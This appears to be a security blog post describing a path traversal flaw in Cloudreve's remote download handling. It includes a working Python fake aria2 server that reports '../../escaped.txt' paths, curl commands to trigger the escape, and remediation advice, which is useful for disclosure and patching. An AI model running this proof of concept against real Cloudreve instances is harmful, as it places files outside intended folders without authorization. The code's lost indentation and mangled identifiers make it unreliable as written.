Listen to this Post
Cloudreve is a self-hosted file management and sharing system. A vulnerability exists in its remote download functionality where the application trusts file paths returned by the configured remote downloader without proper sanitization.
The core issue lies in how Cloudreve processes file names reported by the downloader (e.g., aria2). When a user initiates a remote download task, Cloudreve joins the user-selected destination URI with the downloader-reported file name. The code uses `dstUri.JoinRaw(sanitizedName)` to construct the final destination path.
The `sanitizeFileName()` function only replaces certain characters like backslashes, colons, asterisks, question marks, quotes, angle brackets, and pipes with underscores, but it does not remove /, ., or `..` path segments. Furthermore, `JoinRaw()` splits the raw string by `/` and joins the segments, allowing `..` to affect the final URI path.
For aria2 downloads specifically, Cloudreve derives the file name from the path returned by aria2.tellStatus().files[].path. An attacker controlling the downloader (or a malicious downloader) can report a path like ../../escaped.txt. If the user-selected destination is cloudreve://my/victim/safe, the final upload destination becomes `cloudreve://my/escaped.txt` — effectively escaping the intended directory.
The vulnerability is subject to Cloudreve’s normal permission and upload checks, meaning the attacker cannot write outside their accessible namespace, but they can place files in unexpected writable locations outside the selected folder.
DailyCVE Form:
Platform: Cloudreve
Version: <= v4.0.0-20260606032813-26b6b1044b02
Vulnerability: Path Traversal
Severity: Critical
date: 2026-08-24
Prediction: 2026-09-15
What Undercode Say:
Analytics:
The vulnerability arises from improper input validation in the remote download workflow. The `sanitizeFileName()` function uses a `strings.NewReplacer` that only targets Windows-specific illegal filename characters, completely ignoring Unix path traversal sequences. This is a classic case of inadequate path sanitization (CWE-22 Path Traversal).
The attack surface is limited to authenticated users with remote-download permission. The exploit chain requires:
1. A configured remote downloader (aria2) that the attacker can control or spoof
2. The ability to return malicious `files[].path` metadata via the downloader API
The vulnerable code paths exist in both master transfer and slave upload payload construction.
Bash commands and code related to the blog
Start a fake aria2 JSON-RPC service (Python)
python3 fake_aria2.py
Configure Cloudreve master node (via Admin UI or API)
Remote download: enabled
Downloader provider: aria2
aria2 RPC server: http://fake-aria2:6800/jsonrpc
aria2 token: (empty)
Create folder structure in Cloudreve file manager:
My files / victim / safe
Trigger remote download (via API or UI)
curl -X POST http://cloudreve:5212/api/v4/workflow/download \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
-d '{"url":"http://attacker.invalid/file","path":"/my/victim/safe"}'
Check if escaped.txt appears outside safe/
curl -X GET http://cloudreve:5212/api/v4/file/list/my/ \
-H "Authorization: Bearer <token>"
Fake aria2 service code (fake_aria2.py):
import json
import os
from http.server import BaseHTTPRequestHandler, HTTPServer
GID = "0123456789abcdef"
CONTENT = b"created outside the selected Cloudreve destination\n"
save_dir = "/cloudreve/data/temp/aria2/poc-final"
def write_source_file():
source = os.path.normpath(os.path.join(save_dir, "..", "..", "escaped.txt"))
os.makedirs(os.path.dirname(source), exist_ok=True)
with open(source, "wb") as f:
f.write(CONTENT)
print(f"fake aria2 source file: {source}", flush=True)
def response(rpc_id, result):
return json.dumps({"jsonrpc": "2.0", "id": rpc_id, "result": result}).encode()
class Handler(BaseHTTPRequestHandler):
def do_POST(self):
global save_dir
raw = self.rfile.read(int(self.headers.get("Content-Length", "0")))
req = json.loads(raw or b"{}")
method = req.get("method")
rpc_id = req.get("id")
if method == "aria2.addUri":
for item in req.get("params", []):
if isinstance(item, dict) and item.get("dir"):
save_dir = item["dir"]
break
write_source_file()
result = GID
elif method == "aria2.tellStatus":
result = {
"gid": GID,
"status": "complete",
"totalLength": str(len(CONTENT)),
"completedLength": str(len(CONTENT)),
"uploadLength": "0",
"downloadSpeed": "0",
"uploadSpeed": "0",
"infoHash": "",
"numPieces": "1",
"dir": save_dir,
"files": [
{
"index": "1",
"path": f"{save_dir}/../../escaped.txt",
"length": str(len(CONTENT)),
"completedLength": str(len(CONTENT)),
"selected": "true",
"uris": [],
}
],
"bittorrent": {"mode": "single", "info": {"name": "poc-final"}},
}
elif method == "aria2.getVersion":
result = {"version": "fake-poc-final", "enabledFeatures": []}
else:
result = "OK"
body = response(rpc_id, result)
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
def log_message(self, fmt, args):
return
if <strong>name</strong> == "<strong>main</strong>":
print("fake aria2 JSON-RPC listening on :6800", flush=True)
HTTPServer(("0.0.0.0", 6800), Handler).serve_forever()
Exploit: (Educational Purposes!)
- Setup environment: Deploy Cloudreve with PostgreSQL and Redis, configure aria2 RPC to point to attacker-controlled fake service
- Create folder structure: In file manager, create `My files / victim / safe`
3. Initiate download: Create remote download task using any URL in `victim/safe` directory - Spoof response: Fake aria2 returns `files[bash].path =
/../../escaped.txt`
5. Result: File is created at `cloudreve://my/escaped.txt` instead of `cloudreve://my/victim/safe/escaped.txt`
The vulnerable input is downloader metadata returned by the downloader API, not the HTTP response body of the downloaded URL.
Protection:
- Upgrade Cloudreve to the latest version where this issue is fixed
- Validate downloader responses: Implement strict path containment validation before joining URIs
- Use trusted downloaders only: Ensure aria2 RPC endpoints are not controlled by untrusted parties
- Input sanitization: Extend `sanitizeFileName()` to remove
/,., and `..` sequences - Monitor logs: Watch for suspicious path traversal patterns in download tasks
Impact:
- Authenticated users with remote-download permission can create files outside the selected destination directory
- Files may be placed in unexpected writable locations outside the intended folder
- The resulting file is still subject to Cloudreve’s normal upload and permission checks
- Confidentiality and integrity of file organization can be compromised
- The vulnerability affects all Cloudreve v4 versions up to and including `v4.0.0-20260606032813-26b6b1044b02`
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

